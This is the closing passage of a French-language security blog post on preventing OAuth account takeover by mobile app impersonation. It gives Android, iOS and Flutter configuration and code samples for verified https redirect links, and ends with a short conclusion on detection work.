    <data android:scheme="http" />
    <data android:scheme="https" />

    <!-- Include one or more domains that should be verified. -->
    <data android:host="auth.myapp.com" />
</intent-filter>

Kotlin

Log.i(TAG, "Creating auth request for login hint: $loginHint")
val authRequestBuilder: AuthorizationRequest.Builder = Builder(
    mAuthStateManager.getCurrent().getAuthorizationServiceConfiguration(),
    mClientId.get(),
    ResponseTypeValues.CODE,
    "https://auth.myapp.com/oauth/handler" // The redirect URI with an https scheme
)
    .setScope(mConfiguration.getScope())
if (!TextUtils.isEmpty(loginHint)) {
    authRequestBuilder.setLoginHint(loginHint)
}
mAuthRequest.set(authRequestBuilder.build())

iOS

Pour iOS, vous devez héberger sur votre backend un fichier /.well-known/apple-app-site-association dont le format ressemble à ceci :

{
    "applinks": {
        "details": [{
            "appID": "ABCDE12345.com.myapplication.ios",
            "paths": ["/oauth/redirect/*"]
        }]
    },
    "appclips":{
        "apps":[
            "ABCDE12345.com.myapplication.ios"
        ]
    },
    "webcredentials":{
        "apps":[
            "ABCDE12345.com.myapplication.ios"
        ]
    }
}

release.entitlements

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    ...
    <key>com.apple.developer.associated-domains</key>
    <array>
        <string>applinks:auth.myapp.com</string>
    </array>
    ...
</dict>
</plist>

Swift

func doAuthWithAutoCodeExchange(configuration: OIDServiceConfiguration, clientID: String, clientSecret: String?) {

    guard let appDelegate = UIApplication.shared.delegate as? AppDelegate else {
        self.logMessage("Error accessing AppDelegate")
        return
    }

    // builds authentication request
    let request = OIDAuthorizationRequest(configuration: configuration,
                                          clientId: clientID,
                                          clientSecret: clientSecret,
                                          scopes: [OIDScopeOpenID, OIDScopeProfile],
                                          redirectURL: "https://auth.myapp.com/oauth/handler",
                                          responseType: OIDResponseTypeCode,
                                          additionalParameters: nil)

    // performs authentication request
    logMessage("Initiating authorization request with scope: \(request.scope ?? "DEFAULT_SCOPE")")

    appDelegate.currentAuthorizationFlow = OIDAuthState.authState(byPresenting: request, presenting: self) { authState, error in

        if let authState = authState {
            self.setAuthState(authState)
            self.logMessage("Got authorization tokens. Access token: \(authState.lastTokenResponse?.accessToken ?? "DEFAULT_TOKEN")")
        } else {
            self.logMessage("Authorization error: \(error?.localizedDescription ?? "DEFAULT_ERROR")")
            self.setAuthState(nil)
        }
    }
}

Flutter

Gradle

// android/build.gradle

android {
    // ...
    defaultConfig {
        // ...
        // Add the following line
        manifestPlaceholders = [auth0Domain: "auth.myapp.com", auth0Scheme: "https"]
    }
    // ...
}

Dart

final authorizationEndpoint =
    Uri.parse('http://example.com/oauth2/authorization');
final tokenEndpoint = Uri.parse('http://example.com/oauth2/token');

final identifier = 'my client identifier';
final secret = 'my client secret';

// Redirect URI with custom scheme
final redirectUrl = Uri.parse('https://auth.myapp.com/oauth/handler');

final credentialsFile = File('~/.myapp/credentials.json');

Future<oauth2.Client> createClient() async {
  var exists = await credentialsFile.exists();

  if (exists) {
    var credentials =
        oauth2.Credentials.fromJson(await credentialsFile.readAsString());
    return oauth2.Client(credentials, identifier: identifier, secret: secret);
  }

  var grant = oauth2.AuthorizationCodeGrant(
      identifier, authorizationEndpoint, tokenEndpoint,
      secret: secret);

  var authorizationUrl = grant.getAuthorizationUrl(redirectUrl);

  await redirect(authorizationUrl);
  var responseUrl = await listen(redirectUrl);

  return await grant.handleAuthorizationResponse(responseUrl.queryParameters);
}

Conclusion

En conclusion, la menace de prise de contrôle de compte OAuth par usurpation d'application mobile à l'aide de schémas personnalisés est une préoccupation pressante, tant pour les utilisateurs que pour les fournisseurs OAuth.

Google a déjà commencé à agir en désactivant par défaut la méthode de redirection par schéma d'URI personnalisé pour les clients Android.:

Chez Ostorlab, nous avons agi en développant des règles de détection pour automatiser la détection de ce schéma de vulnérabilité, et nous l'avons déjà signalé à toutes les grandes applications comptant plus de 100 M d'installations. Nous avons également intégré cette détection au Ostorlab Community Scanner.

Détection OAuth d'Ostorlab
Détection OAuth d'Ostorlab

Tags :

security